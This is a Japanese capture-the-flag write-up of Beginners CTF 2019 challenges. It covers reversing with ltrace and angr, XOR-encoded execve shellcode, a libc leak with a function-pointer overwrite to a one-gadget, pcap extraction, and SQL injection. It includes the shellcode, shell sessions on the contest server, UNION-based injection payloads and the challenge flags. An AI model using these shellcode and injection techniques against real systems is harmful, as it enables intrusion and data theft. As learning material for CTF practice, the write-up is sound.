yyy

CTFつよくなりたい

Beginners CTF 2019 Writeup

Seccompare

コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.

$ ltrace ./seccompare hoge
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge")                                                                              = -5
puts("wrong"wrong
)                                                                                                               = 6
+++ exited (status 0) +++

Leakage

is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear_Operation

is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.

gist.github.com

$ python solve.py
WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

shellcoder

binshという文字列を使ってはいけないシェルコードコーディング問題.

        0x00080000:     movabs  rbx, 0x38237f7f3e39327f
        0x0008000A:     movabs  rax, 0x5050505050505050
        0x00080014:     xor     rbx, rax
        0x00080017:     xor     esi, esi
        0x00080019:     push    rsi
        0x0008001A:     push    rbx
        0x0008001B:     push    rsp
        0x0008001C:     pop     rdi
        0x0008001D:     xor     rax, rax
        0x00080020:     mov     al, 0x3b
        0x00080022:     xor     edx, edx
        0x00080024:     syscall syscall

こんな感じでxorでなんとかした.

gist.github.com

$ python exploit.py
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2).
    Update with: $ pip install -U pwntools
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
Are you shellcoder?
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
$ exit

OneLine

一度0x28分readしてその後 call rax するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.

これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.

gist.github.com

$ python exploit.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
You can input text here!
>>
0x7fe15586a140
0x7fe15575a000
\x00\x00Once more again!
>>
[*] Switching to interactive mode
$ ls
flag.txt
oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
$ exit

Dump

与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.

gist.github.com

その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge をするとフラグが書かれたflag.jpgが取り出せた.

f:id:ywkw1717:20190526211955j:plain

Ramen

SQLiがある. 'or 1=1;# で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; # をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;# でフラグをみた.

f:id:ywkw1717:20190526212315p:plain